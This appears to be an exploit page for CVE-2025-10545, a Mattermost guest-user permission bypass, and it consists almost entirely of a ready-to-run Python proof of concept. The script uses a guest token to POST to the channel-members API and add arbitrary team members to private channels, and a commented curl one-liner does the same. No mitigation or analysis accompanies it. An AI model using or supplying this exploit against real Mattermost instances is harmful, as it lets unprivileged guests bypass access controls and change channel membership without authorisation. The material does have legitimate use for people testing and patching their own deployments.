CVE-2025-10545 Mattermost访客用户权限提升漏洞

#!/usr/bin/env python3 """ CVE-2025-10545 - Mattermost Guest User Permission Bypass PoC This PoC demonstrates how a guest user can add arbitrary team members to their private channels via the /api/v4/channels/{channel_id}/members endpoint. """ import requests import json # Configuration MATTERMOST_URL = "https://your-mattermost-instance.com" GUEST_USER_TOKEN = "your-guest-user-auth-token" # Guest user authentication token PRIVATE_CHANNEL_ID = "your-private-channel-id" # Channel where guest user is a member TARGET_USER_ID = "target-team-member-user-id" # User to be added to the channel # API endpoint endpoint = f"{MATTERMOST_URL}/api/v4/channels/{PRIVATE_CHANNEL_ID}/members" # Request headers headers = { "Authorization": f"Bearer {GUEST_USER_TOKEN}", "Content-Type": "application/json" } # Request payload - specifying the user to add payload = { "user_id": TARGET_USER_ID } # Send the exploit request response = requests.post(endpoint, headers=headers, json=payload) # Check response if response.status_code == 201: print(f"[SUCCESS] User {TARGET_USER_ID} has been added to channel {PRIVATE_CHANNEL_ID}") print(f"Response: {response.json()}") elif response.status_code == 200: print(f"[SUCCESS] User {TARGET_USER_ID} added to channel {PRIVATE_CHANNEL_ID}") print(f"Response: {response.json()}") else: print(f"[FAILED] Status code: {response.status_code}") print(f"Response: {response.text}") # Alternative: Using curl # curl -X POST \ # 'https://your-mattermost-instance.com/api/v4/channels/{channel_id}/members' \ # -H 'Authorization: Bearer {guest_user_token}' \ # -H 'Content-Type: application/json' \ # -d '{"user_id": "target_user_id"}'